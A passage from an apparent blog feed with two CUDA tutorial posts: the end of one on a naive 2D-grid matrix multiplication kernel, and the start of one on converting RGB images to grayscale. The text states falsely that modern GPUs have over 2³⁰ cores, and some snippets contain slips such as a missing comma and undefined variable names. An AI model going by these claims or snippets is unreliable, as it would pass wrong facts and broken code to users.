<p>When launching a CUDA kernel, we use the <code class="language-plaintext highlighter-rouge">&lt;&lt;&lt;grid&gt;&gt;&gt;</code> syntax to specify grid and block dimensions. CUDA provides two ways to specify these dimensions:</p>

<ol>
  <li><strong>Simple integers</strong> (for 1D organization):
    <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="n">threadsPerBlock</span> <span class="o">=</span> <span class="mi">256</span><span class="p">;</span>  <span class="c1">// Number of threads in each block</span>
<span class="kt">int</span> <span class="n">numBlocks</span> <span class="o">=</span> <span class="n">cdiv</span><span class="p">(</span><span class="n">N</span><span class="o">*</span><span class="n">M</span><span class="p">,</span> <span class="n">threadsPerBlock</span><span class="p">);</span>  <span class="c1">// Number of blocks needed</span>
<span class="n">kernel</span><span class="o">&lt;&lt;&lt;</span><span class="n">numBlocks</span><span class="p">,</span> <span class="n">threadsPerBlock</span><span class="o">&gt;&gt;&gt;</span><span class="p">(</span><span class="n">args</span><span class="p">...);</span>
</code></pre></div>    </div>
  </li>
  <li><strong>dim3 structs</strong> (for 2D/3D organization):
    <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// For 2D organization (like our matrix multiplication):</span>
<span class="n">dim3</span> <span class="nf">threadsPerBlock</span><span class="p">(</span><span class="mi">16</span><span class="p">,</span> <span class="mi">16</span><span class="p">);</span>    <span class="c1">// 16x16 threads per block (z=1 by default)</span>
<span class="n">dim3</span> <span class="nf">numBlocks</span><span class="p">(</span>
    <span class="n">cdiv</span><span class="p">(</span><span class="n">N</span><span class="p">,</span> <span class="n">threadsPerBlock</span><span class="p">.</span><span class="n">x</span><span class="p">),</span>  <span class="c1">// Number of blocks in x direction</span>
    <span class="n">cdiv</span><span class="p">(</span><span class="n">M</span><span class="p">,</span> <span class="n">threadsPerBlock</span><span class="p">.</span><span class="n">y</span><span class="p">)</span>   <span class="c1">// Number of blocks in y direction</span>
<span class="p">);</span>
<span class="n">kernel</span><span class="o">&lt;&lt;&lt;</span><span class="n">numBlocks</span><span class="p">,</span> <span class="n">threadsPerBlock</span><span class="o">&gt;&gt;&gt;</span><span class="p">(</span><span class="n">args</span><span class="p">...);</span>

<span class="c1">// For 3D organization (useful in volume processing, 3D convolutions):</span>
<span class="n">dim3</span> <span class="nf">threadsPerBlock</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="mi">8</span><span class="p">,</span> <span class="mi">8</span><span class="p">);</span>   <span class="c1">// 8x8x8 threads per block</span>
<span class="n">dim3</span> <span class="nf">numBlocks</span><span class="p">(</span>
    <span class="n">cdiv</span><span class="p">(</span><span class="n">width</span><span class="p">,</span> <span class="n">threadsPerBlock</span><span class="p">.</span><span class="n">x</span><span class="p">),</span>
    <span class="n">cdiv</span><span class="p">(</span><span class="n">height</span><span class="p">,</span> <span class="n">threadsPerBlock</span><span class="p">.</span><span class="n">y</span><span class="p">),</span>
    <span class="n">cdiv</span><span class="p">(</span><span class="n">depth</span><span class="p">,</span> <span class="n">threadsPerBlock</span><span class="p">.</span><span class="n">z</span><span class="p">)</span>
<span class="p">);</span>
</code></pre></div>    </div>
  </li>
</ol>

<p>Inside the kernel, we can access these dimensions and calculate global indices:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// For 1D:</span>
<span class="kt">int</span> <span class="n">idx</span> <span class="o">=</span> <span class="n">blockIdx</span><span class="p">.</span><span class="n">x</span> <span class="o">*</span> <span class="n">blockDim</span><span class="p">.</span><span class="n">x</span> <span class="o">+</span> <span class="n">threadIdx</span><span class="p">.</span><span class="n">x</span><span class="p">;</span>

<span class="c1">// For 2D:</span>
<span class="kt">int</span> <span class="n">row</span> <span class="o">=</span> <span class="n">blockIdx</span><span class="p">.</span><span class="n">y</span> <span class="o">*</span> <span class="n">blockDim</span><span class="p">.</span><span class="n">y</span> <span class="o">+</span> <span class="n">threadIdx</span><span class="p">.</span><span class="n">y</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">col</span> <span class="o">=</span> <span class="n">blockIdx</span><span class="p">.</span><span class="n">x</span> <span class="o">*</span> <span class="n">blockDim</span><span class="p">.</span><span class="n">x</span> <span class="o">+</span> <span class="n">threadIdx</span><span class="p">.</span><span class="n">x</span><span class="p">;</span>

<span class="c1">// For 3D:</span>
<span class="kt">int</span> <span class="n">x</span> <span class="o">=</span> <span class="n">blockIdx</span><span class="p">.</span><span class="n">x</span> <span class="o">*</span> <span class="n">blockDim</span><span class="p">.</span><span class="n">x</span> <span class="o">+</span> <span class="n">threadIdx</span><span class="p">.</span><span class="n">x</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">y</span> <span class="o">=</span> <span class="n">blockIdx</span><span class="p">.</span><span class="n">y</span> <span class="o">*</span> <span class="n">blockDim</span><span class="p">.</span><span class="n">y</span> <span class="o">+</span> <span class="n">threadIdx</span><span class="p">.</span><span class="n">y</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">z</span> <span class="o">=</span> <span class="n">blockIdx</span><span class="p">.</span><span class="n">z</span> <span class="o">*</span> <span class="n">blockDim</span><span class="p">.</span><span class="n">z</span> <span class="o">+</span> <span class="n">threadIdx</span><span class="p">.</span><span class="n">z</span><span class="p">;</span>
</code></pre></div></div>

<blockquote>
  <p>Note that <code class="language-plaintext highlighter-rouge">blockIdx</code> and <code class="language-plaintext highlighter-rouge">threadIdx</code> are built-in variables in CUDA that store the block and thread indices respectively. The grid dimensions defined inside <code class="language-plaintext highlighter-rouge">&lt;&lt;&lt;&gt;&gt;&gt;</code> are passed as follows: the second parameter (block size) becomes available as <code class="language-plaintext highlighter-rouge">blockDim</code> inside the kernel, while the first parameter (grid size) determines how many blocks will be launched. <code class="language-plaintext highlighter-rouge">blockDim</code> is particularly important as it’s used to calculate global thread positions from local indices.</p>
</blockquote>

<h2 id="2-using-2d-grid-the-natural-approach">2. Using 2D Grid (The Natural Approach)</h2>

<p>Now that we understand how to organize threads in multiple dimensions using <code class="language-plaintext highlighter-rouge">dim3</code>, let’s see how we can use it to implement matrix multiplication in a more natural way. CUDA’s 2D grid structure aligns perfectly with our matrix computation:</p>

<figure>
    <img src="/assets/images/cuda-2/2d-cuda-grid.png" alt="2D Grid Mapping" />
    <figcaption>Figure 4: The 2D grid structure maps naturally to our output matrix, with each thread computing one element</figcaption>
</figure>

<p>The 2D grid organization provides several benefits:</p>
<ol>
  <li>More intuitive mapping between threads and matrix elements</li>
  <li>Better alignment with matrix memory layout</li>
  <li>
    <p>Potential for optimized memory access patterns</p>
  </li>
  <li><strong>Output Matrix Mapping</strong>:
    <ul>
      <li>Each small cell represents one thread</li>
      <li>2×2 blue squares represent thread blocks</li>
      <li>The entire grid covers the output matrix C</li>
    </ul>
  </li>
  <li><strong>Thread/Block Indexing</strong>:
    <ul>
      <li>Global thread position:
        <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="n">row</span> <span class="o">=</span> <span class="n">blockIdx</span><span class="p">.</span><span class="n">y</span> <span class="o">*</span> <span class="n">blockDim</span><span class="p">.</span><span class="n">y</span> <span class="o">+</span> <span class="n">threadIdx</span><span class="p">.</span><span class="n">y</span><span class="p">;</span>  <span class="c1">// Global row in C</span>
<span class="kt">int</span> <span class="n">col</span> <span class="o">=</span> <span class="n">blockIdx</span><span class="p">.</span><span class="n">x</span> <span class="o">*</span> <span class="n">blockDim</span><span class="p">.</span><span class="n">x</span> <span class="o">+</span> <span class="n">threadIdx</span><span class="p">.</span><span class="n">x</span><span class="p">;</span>  <span class="c1">// Global column in C</span>
</code></pre></div>        </div>
      </li>
      <li>Each thread computes one element C[row,col]</li>
      <li>Block dimensions chosen as 2×2.</li>
    </ul>
  </li>
  <li><strong>Grid Size Calculation</strong>:
    <ul>
      <li>Must cover entire output matrix</li>
      <li>Uses ceiling division to handle non-perfect divisions:
        <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">dim3</span> <span class="nf">threadsPerBlock</span><span class="p">(</span><span class="mi">16</span><span class="p">,</span> <span class="mi">16</span><span class="p">);</span>  <span class="c1">// 256 threads per block</span>
<span class="n">dim3</span> <span class="nf">numBlocks</span><span class="p">(</span>
   <span class="n">cdiv</span><span class="p">(</span><span class="n">N</span><span class="p">,</span> <span class="n">threadsPerBlock</span><span class="p">.</span><span class="n">x</span><span class="p">)</span>  <span class="c1">// Ceil(N/16)</span>
   <span class="n">cdiv</span><span class="p">(</span><span class="n">M</span><span class="p">,</span> <span class="n">threadsPerBlock</span><span class="p">.</span><span class="n">y</span><span class="p">)</span>   <span class="c1">// Ceil(M/16)</span>
<span class="p">);</span>
</code></pre></div>        </div>
      </li>
    </ul>
  </li>
</ol>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__global__</span> <span class="kt">void</span> <span class="nf">matmul_naive</span><span class="p">(</span><span class="kt">float</span><span class="o">*</span> <span class="n">A</span><span class="p">,</span> <span class="kt">float</span><span class="o">*</span> <span class="n">B</span><span class="p">,</span> <span class="kt">float</span><span class="o">*</span> <span class="n">C</span><span class="p">,</span> <span class="kt">int</span> <span class="n">M</span><span class="p">,</span> <span class="kt">int</span> <span class="n">N</span><span class="p">,</span> <span class="kt">int</span> <span class="n">K</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// Global thread indices map directly to matrix coordinates</span>
    <span class="kt">int</span> <span class="n">row</span> <span class="o">=</span> <span class="n">blockIdx</span><span class="p">.</span><span class="n">y</span> <span class="o">*</span> <span class="n">blockDim</span><span class="p">.</span><span class="n">y</span> <span class="o">+</span> <span class="n">threadIdx</span><span class="p">.</span><span class="n">y</span><span class="p">;</span>  <span class="c1">// y component for rows</span>
    <span class="kt">int</span> <span class="n">col</span> <span class="o">=</span> <span class="n">blockIdx</span><span class="p">.</span><span class="n">x</span> <span class="o">*</span> <span class="n">blockDim</span><span class="p">.</span><span class="n">x</span> <span class="o">+</span> <span class="n">threadIdx</span><span class="p">.</span><span class="n">x</span><span class="p">;</span>  <span class="c1">// x component for columns</span>
    
    <span class="k">if</span> <span class="p">(</span><span class="n">row</span> <span class="o">&lt;</span> <span class="n">M</span> <span class="o">&amp;&amp;</span> <span class="n">col</span> <span class="o">&lt;</span> <span class="n">N</span><span class="p">)</span> <span class="p">{</span>
        <span class="c1">// ... computation ...</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This organization naturally extends to our tiled implementation where each block processes a 16x16 tile of the output matrix.</p>

<h1 id="naive-cuda-implementation">Naive CUDA Implementation</h1>

<p>Let’s start with a straightforward CUDA implementation. Each thread will compute one element of the output matrix. Here’s our naive implementation using 2D grid organization:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__global__</span> <span class="kt">void</span> <span class="nf">matmul_naive</span><span class="p">(</span><span class="kt">float</span><span class="o">*</span> <span class="n">A</span><span class="p">,</span> <span class="kt">float</span><span class="o">*</span> <span class="n">B</span><span class="p">,</span> <span class="kt">float</span><span class="o">*</span> <span class="n">C</span><span class="p">,</span> <span class="kt">int</span> <span class="n">M</span><span class="p">,</span> <span class="kt">int</span> <span class="n">N</span><span class="p">,</span> <span class="kt">int</span> <span class="n">K</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">int</span> <span class="n">row</span> <span class="o">=</span> <span class="n">blockIdx</span><span class="p">.</span><span class="n">y</span> <span class="o">*</span> <span class="n">blockDim</span><span class="p">.</span><span class="n">y</span> <span class="o">+</span> <span class="n">threadIdx</span><span class="p">.</span><span class="n">y</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">col</span> <span class="o">=</span> <span class="n">blockIdx</span><span class="p">.</span><span class="n">x</span> <span class="o">*</span> <span class="n">blockDim</span><span class="p">.</span><span class="n">x</span> <span class="o">+</span> <span class="n">threadIdx</span><span class="p">.</span><span class="n">x</span><span class="p">;</span>
    
    <span class="k">if</span> <span class="p">(</span><span class="n">row</span> <span class="o">&lt;</span> <span class="n">M</span> <span class="o">&amp;&amp;</span> <span class="n">col</span> <span class="o">&lt;</span> <span class="n">N</span><span class="p">)</span> <span class="p">{</span>
        <span class="kt">float</span> <span class="n">sum</span> <span class="o">=</span> <span class="mf">0.0</span><span class="n">f</span><span class="p">;</span>
        <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">k</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">k</span> <span class="o">&lt;</span> <span class="n">K</span><span class="p">;</span> <span class="n">k</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">sum</span> <span class="o">+=</span> <span class="n">A</span><span class="p">[</span><span class="n">row</span> <span class="o">*</span> <span class="n">K</span> <span class="o">+</span> <span class="n">k</span><span class="p">]</span> <span class="o">*</span> <span class="n">B</span><span class="p">[</span><span class="n">k</span> <span class="o">*</span> <span class="n">N</span> <span class="o">+</span> <span class="n">col</span><span class="p">];</span>
        <span class="p">}</span>
        <span class="n">C</span><span class="p">[</span><span class="n">row</span> <span class="o">*</span> <span class="n">N</span> <span class="o">+</span> <span class="n">col</span><span class="p">]</span> <span class="o">=</span> <span class="n">sum</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>To launch this kernel:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">dim3</span> <span class="nf">threadsPerBlock</span><span class="p">(</span><span class="mi">16</span><span class="p">,</span> <span class="mi">16</span><span class="p">);</span>  <span class="c1">// 256 threads per block</span>
<span class="n">dim3</span> <span class="nf">numBlocks</span><span class="p">(</span>
    <span class="n">cdiv</span><span class="p">(</span><span class="n">N</span><span class="p">,</span> <span class="n">threadsPerBlock</span><span class="p">.</span><span class="n">x</span><span class="p">),</span>  <span class="c1">// Ceil(N/16)</span>
    <span class="n">cdiv</span><span class="p">(</span><span class="n">M</span><span class="p">,</span> <span class="n">threadsPerBlock</span><span class="p">.</span><span class="n">y</span><span class="p">)</span>   <span class="c1">// Ceil(M/16)</span>
<span class="p">);</span>

<span class="n">matmul_naive</span><span class="o">&lt;&lt;&lt;</span><span class="n">numBlocks</span><span class="p">,</span> <span class="n">threadsPerBlock</span><span class="o">&gt;&gt;&gt;</span><span class="p">(</span><span class="n">A</span><span class="p">,</span> <span class="n">B</span><span class="p">,</span> <span class="n">C</span><span class="p">,</span> <span class="n">M</span><span class="p">,</span> <span class="n">N</span><span class="p">,</span> <span class="n">K</span><span class="p">);</span>
</code></pre></div></div>

<h1 id="performance-considerations-and-next-steps">Performance Considerations and Next Steps</h1>

<p>To understand where we stand with our implementation, let’s compare it with PyTorch’s highly optimized matrix multiplication:</p>

<table>
  <thead>
    <tr>
      <th>Implementation</th>
      <th>Time (ms)</th>
      <th>Notes</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Our Naive CUDA</td>
      <td>6.0</td>
      <td>Basic 2D grid implementation</td>
    </tr>
    <tr>
      <td>PyTorch matmul</td>
      <td>2.0</td>
      <td>Highly optimized with tiling and memory coalescing</td>
    </tr>
  </tbody>
</table>

<p>As we can see, our implementation, while functional, is about 3x slower than PyTorch’s optimized version. This gap exists because our current implementation has several performance limitations:</p>

<ol>
  <li><strong>Memory Access Pattern</strong>: Each thread needs to read entire rows of A and columns of B from global memory, resulting in non-coalesced memory access.</li>
  <li><strong>Memory Bandwidth</strong>: We’re repeatedly accessing the same data from global memory, which is expensive.</li>
  <li><strong>Computation to Memory Access Ratio</strong>: The current implementation performs too many memory operations compared to compute operations.</li>
</ol>

<p>In our next post, we’ll explore how to optimize this implementation using shared memory tiling and other advanced techniques to bridge this performance gap. We’ll see how techniques like memory coalescing, shared memory usage, and other tricks can help us get closer to PyTorch’s performance.</p>

<p>Stay tuned to learn how we can transform this naive implementation into a high-performance matrix multiplication kernel!</p>

<h1 id="references">References</h1>

<ul>
  <li><a href="https://www.youtube.com/watch?v=nOxKexn3iBo">J-Howard - GPU Mode - Getting Started with CUDA</a></li>
  <li><a href="https://www.youtube.com/watch?v=sRpWrTBOXCc&amp;list=PL5XwKDZZlwaY7t0M5OLprpkJUIrF8Lc9j&amp;index=3">Simon - Matmul in CUDA</a></li>
  <li><a href="https://www.youtube.com/watch?v=Q3GgbfGTnVc&amp;list=PLU0zjpa44nPXddA_hWV1U8oO7AevFgXnT&amp;index=4">0Mean1Sigma - CUDA matmul tutorial</a></li>
  <li><a href="https://colab.research.google.com/drive/1YJRS7ot-T9ldLTt1Me_ZarG_NkaaIfWn?usp=sharing">Colab notebook</a></li>
</ul>]]></content><author><name>Murali Manohar</name><email>kmanoharmurali@gmail.com</email></author><category term="machine-learning" /><category term="data-science" /><category term="CUDA" /><category term="GPU" /><category term="ML" /><category term="Optimization" /><category term="Performance" /><summary type="html"><![CDATA[Deep dive into implementing efficient matrix multiplication using CUDA, with a focus on memory optimization techniques]]></summary></entry><entry><title type="html">CUDA Studylog 1 - Getting a taste of CUDA kernels</title><link href="https://gitlostmurali.com/machine-learning/data-science/cuda-intro" rel="alternate" type="text/html" title="CUDA Studylog 1 - Getting a taste of CUDA kernels" /><published>2025-01-24T23:58:10+00:00</published><updated>2025-01-24T23:58:10+00:00</updated><id>https://gitlostmurali.com/machine-learning/data-science/cuda-intro</id><content type="html" xml:base="https://gitlostmurali.com/machine-learning/data-science/cuda-intro"><![CDATA[<p>Consider this: Training a large language model can cost upwards of \$10 million in compute resources. In this context, a seemingly modest 5% improvement in GPU utilization through optimized CUDA kernels could translate to \$0.5 million in savings. This is why understanding CUDA programming isn’t just a technical skill—it’s a strategic advantage. So, this blogpost is designed to demystify CUDA programming by focusing on fundamental concepts and practical implementation.</p>

<p>After reading this blogpost, you will understand:</p>
<ul>
  <li>How GPU parallelization differs from CPU processing</li>
  <li>How to think about your ML problems in terms of parallel operations</li>
  <li>How to convert a simple Python operation into a CUDA kernel</li>
  <li>The basic building blocks of CUDA programming (threads, blocks, grids)</li>
</ul>

<h1 id="why-another-cuda-tutorial">Why Another CUDA Tutorial?</h1>

<p>As an ML engineer diving into CUDA, I found myself asking questions that weren’t addressed in standard tutorials, including the excellent ones from <a href="https://github.com/gpu-mode/lectures">gpu-mode</a>. This guide aims to fill that gap, focusing on building intuition and making the journey into CUDA kernel programming less intimidating. We’ll work through a simple example that demonstrates the key concepts you need to know. While reading this blog, I suggest you open this <a href="https://github.com/gpu-mode/lectures/blob/main/lecture_003/pmpp.ipynb">notebook</a> in google colab and play with it as we go.</p>

<h1 id="understanding-gpu-architecture">Understanding GPU Architecture</h1>

<p>Think of CPUs and GPUs as two different specialists working together. Your CPU excels at complex sequential tasks, like a highly skilled individual worker. In contrast, a GPU shines when performing the same operation thousands or millions of times simultaneously, like having an army of workers each doing one simple task. For instance, a modern GPU has over 2³⁰ cores, making it perfect for parallel processing. Neither approach is inherently better—they’re suited for different challenges.</p>

<h1 id="key-components-and-concepts">Key Components and Concepts</h1>

<p>When we write CUDA code, we’re essentially orchestrating several key components:</p>

<ol>
  <li>Kernel: Despite its complex-sounding name, <strong>a kernel is simply a function that runs on the GPU</strong>. When we “launch a kernel,” we’re telling the GPU, “Here’s the program; now run it on many threads in parallel.” The key difference from regular functions is that a kernel executes across many threads simultaneously.</li>
  <li>Thread: A thread is the smallest unit of execution in GPU programming. Think of it as a single worker that can perform one set of instructions. Each thread runs the same program (our kernel) but typically works on different data.</li>
  <li>Memory Hierarchy:
    <ul>
      <li>Global Memory: The GPU’s main memory, accessible by all threads but relatively slow. This is the 40GB/80GB VRAM mentions you see everywhere.</li>
      <li>Shared Memory: Fast memory shared between threads in the same block</li>
      <li>Registers: The fastest memory, private to each thread</li>
      <li>L1/L2 Cache: Automatic caching layers that help speed up memory access</li>
    </ul>
  </li>
</ol>

<h1 id="task-and-data-parallelism">Task and Data Parallelism</h1>

<p>Let’s consider a simple example of how GPUs leverage parallelism. Suppose you have two independent operations:</p>
<ul>
  <li>Multiplying numbers a and b</li>
  <li>Adding numbers c and d</li>
</ul>

<p>On a CPU, these operations would typically happen one after the other. In contrast, a GPU can assign separate threads to handle each operation simultaneously, enabling parallel execution. This capability is what gives GPUs their incredible performance potential.</p>

<p>But here’s the key: The performance gains from GPU computing depend entirely on your ability to identify which parts of your program can run in parallel. Not all problems can be parallelized effectively, and sometimes the overhead of moving data between CPU and GPU can outweigh the benefits of parallel execution.</p>

<p>The key to understanding CUDA programming is to <strong>adopt an output-first mindset</strong>. Start by focusing on the desired output, and then map it to the GPU’s computational model. By organizing your kernel execution around the expected output, you can more easily design a grid of thread blocks and achieve efficient parallelism.</p>

<p>Here’s why this matters: Modern GPUs can handle up to 1,024 threads per block and more than 2³⁰ blocks in total. That’s an enormous amount of parallel computing power. But how do you harness it effectively? Let’s explore through it through the following example:</p>

<h1 id="practial-implementation-image-grayscale-conversion-1d-grid">Practial Implementation: Image Grayscale Conversion (1D Grid)</h1>

<p>Let’s start with a simple but practical example: converting an RGB image to grayscale. This is a perfect introduction to CUDA because each output pixel can be computed independently.</p>

<figure>
    <a href="https://gitlostmurali.com//assets/images/cuda-intro/rgb2gray.png"><img src="https://gitlostmurali.com//assets/images/cuda-intro/rgb2gray.png" /></a>
    <figcaption><b>Figure 1:</b> <i>RGB to Grayscale conversion</i></figcaption>
</figure>

<p>Let’s use OpenCV’s grayscale conversion formula and</p>

\[Gray-pixel =  (0.299 × Red) + (0.587 × Green) + (0.114 × Blue)\]

<p>Write it in Python to understand the computation at pixel level:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">rgb_to_grayscale</span><span class="p">(</span><span class="n">pixel</span><span class="p">):</span>
    <span class="c1"># Assuming pixel is numpy array with shape (3) -&gt; for 3 RGB channels
</span>    <span class="n">red</span><span class="p">,</span> <span class="n">green</span><span class="p">,</span> <span class="n">blue</span> <span class="o">=</span> <span class="n">pixel</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="n">pixel</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">pixel</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span>
    <span class="n">grayscale</span> <span class="o">=</span> <span class="mf">0.299</span> <span class="o">*</span> <span class="n">red</span> <span class="o">+</span> <span class="mf">0.587</span> <span class="o">*</span> <span class="n">green</span> <span class="o">+</span> <span class="mf">0.114</span> <span class="o">*</span> <span class="n">blue</span>
    <span class="k">return</span> <span class="n">grayscale</span>
</code></pre></div></div>

<p>Let’s extend this function to all the pixels in the image:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="c1"># input_image's shape =&gt; [3, height, width] # 3 for RGB channels
# output_image's shape =&gt; [height, width] # since the 3 channels are merged into one now
</span>
<span class="k">for</span> <span class="n">row_idx</span> <span class="ow">in</span> <span class="n">height</span><span class="p">:</span>
	<span class="k">for</span> <span class="n">col_idx</span> <span class="ow">in</span> <span class="n">width</span><span class="p">:</span>
		<span class="n">output_image</span><span class="p">[</span><span class="n">row_ix</span><span class="p">,</span> <span class="n">col_ix</span><span class="p">]</span> <span class="o">=</span> <span class="n">rgb_to_grayscale</span><span class="p">(</span> <span class="n">input_image</span><span class="p">[</span><span class="n">row_idx</span><span class="p">,</span> <span class="n">col_idx</span><span class="p">]</span> <span class="p">)</span>
</code></pre></div></div>

<p>Since each color pixel computation to grayscale is independent, we can parallelize this function i.e call this function multiple times with different pixels as inputs. Before jumping to CUDA, let’s rewrite our Python code to mirror how CUDA thinks. Two key things to understand:</p>

<blockquote>
  <ol>
    <li>CUDA <strong>does not natively support multi-dimensional arrays</strong> in the same way as standard C/C++. Instead, <strong>a multi-dimensional array is often represented as a flattened 1D</strong> array in memory. You calculate the index using the formula $index=i×width+j$, where i and j are row and column indices, respectively</li>
  </ol>
</blockquote>

<blockquote>
  <ol>
    <li><strong>A kernel can not return anything. It can only change contents of things passed to it.</strong></li>
  </ol>
</blockquote>

<p>Here’s our Python code rewritten to match these constraints:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="k">def</span> <span class="nf">rgb2grey_pixel_level_kernel</span><span class="p">(</span><span class="n">pixel_index</span><span class="p">,</span> <span class="n">output_grey_tensor</span><span class="p">,</span> <span class="n">input_flatten_tensor</span><span class="p">,</span> <span class="n">num_pixels_per_channel</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="bp">None</span><span class="p">:</span>

<span class="n">output_grey_tensor</span><span class="p">[</span><span class="n">pixel_index</span><span class="p">]</span> <span class="o">=</span> <span class="mf">0.2989</span><span class="o">*</span><span class="n">input_flatten_tensor</span><span class="p">[</span><span class="n">pixel_index</span><span class="p">]</span> <span class="o">+</span> \

<span class="mf">0.5870</span><span class="o">*</span><span class="n">input_flatten_tensor</span><span class="p">[</span><span class="n">pixel_index</span> <span class="o">+</span> <span class="n">num_pixels_per_channel</span><span class="p">]</span> <span class="o">+</span> \

<span class="mf">0.1140</span><span class="o">*</span><span class="n">input_flatten_tensor</span><span class="p">[</span><span class="n">pixel_index</span> <span class="o">+</span> <span class="p">(</span><span class="mi">2</span><span class="o">*</span><span class="n">num_pixels_per_channel</span><span class="p">)]</span>

</code></pre></div></div>

<p>Since each thread would handle one pixel’s conversion, let’s call the conversion kernel for all pixels in the expected output:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">run_kernel_manytimes</span><span class="p">(</span><span class="n">func</span><span class="p">,</span> <span class="n">num_times</span><span class="p">,</span> <span class="o">*</span><span class="n">args</span><span class="p">):</span>
	<span class="k">for</span> <span class="n">indx</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">num_times</span><span class="p">):</span> <span class="n">func</span><span class="p">(</span><span class="n">indx</span><span class="p">,</span> <span class="o">*</span><span class="n">args</span><span class="p">)</span>
	
<span class="k">def</span> <span class="nf">launch_rgb2grey</span><span class="p">(</span><span class="n">input_image</span><span class="p">):</span>
	<span class="n">c</span><span class="p">,</span> <span class="n">h</span><span class="p">,</span> <span class="n">w</span> <span class="o">=</span> <span class="n">input_image</span><span class="p">.</span><span class="n">shape</span>
	<span class="n">num_pixels_per_channel</span> <span class="o">=</span> <span class="n">h</span> <span class="o">*</span> <span class="n">w</span>
	
	<span class="n">flattened_input</span> <span class="o">=</span> <span class="n">input_image</span><span class="p">.</span><span class="n">flatten</span><span class="p">()</span> <span class="c1"># [h,w,3] =&gt; 1D of shape [h x w x 3]
</span>	<span class="n">expected_output</span> <span class="o">=</span> <span class="n">torch</span><span class="p">.</span><span class="n">empty</span><span class="p">(</span><span class="n">h</span> <span class="o">*</span> <span class="n">w</span><span class="p">)</span>
	
	<span class="n">number_of_kernel_calls_to_make</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">expected_output</span><span class="p">)</span>
	
	<span class="n">run_kernel_manytimes</span><span class="p">(</span><span class="n">rgb2grey_pixel_level_kernel</span><span class="p">,</span> \ <span class="c1"># kernel to be called 
</span>				<span class="n">number_of_kernel_calls_to_make</span><span class="p">,</span>  \ <span class="c1"># number of times to call it
</span>				<span class="n">output_grey_tensor</span><span class="p">,</span> <span class="n">input_image</span><span class="p">,</span> <span class="n">num_pixels_per_channel</span><span class="p">)</span><span class="c1">#args
</span>	<span class="k">return</span> <span class="n">output_grey_tensor</span><span class="p">.</span><span class="n">view</span><span class="p">(</span><span class="n">h</span><span class="p">,</span> <span class="n">w</span><span class="p">)</span>
</code></pre></div></div>

<p>This is great. If the image shape is  [3, 1280, 720], the number of parallel threads needed are 1280 x 720 since the output is a 2d [1280, 720]. In reality, we can’t launch millions of threads simultaneously. CUDA organizes threads into blocks, with a maximum of 1,024 threads per block on modern GPUs.</p>

<h3 id="blocks-and-grids-the-building-blocks-of-parallelism">Blocks and Grids: The Building Blocks of Parallelism</h3>

<p>While threads are powerful, CUDA organizes them into larger structures for better management and scalability:</p>

<ol>
  <li><strong>Blocks</strong>: A block is a group of threads that can work together. Threads within a block can:
    <ul>
      <li>Share memory resources</li>
      <li>Synchronize their execution</li>
      <li>Cooperate on data processing</li>
    </ul>
  </li>
  <li><strong>Grids</strong>: A grid is a collection of blocks. This two-level hierarchy allows CUDA programs to scale across different GPU architectures.</li>
</ol>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Grid
|----Blocks
|----------Threads
</code></pre></div></div>

<p>Since there are limited threads per block (1,024 on modern GPUs), we need to organize our parallel computation carefully. Let’s think about this step by step for our grayscale conversion example.</p>

<h3 id="from-threads-to-blocks-a-practical-approach">From Threads to Blocks: A Practical Approach</h3>

<p>When converting our 1280x720 image, we need 921,600 threads (1280 * 720). Since we can only have 1,024 threads per block, we need to split this work across multiple blocks. Here’s how we can think about it:</p>
<figure>
    <a href="https://gitlostmurali.com//assets/images/cuda-intro/block-thread.png"><img src="https://gitlostmurali.com//assets/images/cuda-intro/block-thread.png" /></a>
    <figcaption><b>Figure 2:</b> <i>Block and Threads <a href="http://gpu.di.unimi.it/books/PMPP-3rd-Edition.pdf"> (Image Source)</a> </i></figcaption>
</figure>

<ol>
  <li>First, let’s calculate how many blocks we need:
    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">threads_per_block</span> <span class="o">=</span> <span class="mi">1024</span>  <span class="c1"># Maximum threads we can have per block
</span><span class="n">total_threads_needed</span> <span class="o">=</span> <span class="n">height</span> <span class="o">*</span> <span class="n">width</span>  <span class="c1"># 1280 * 720 = 921,600
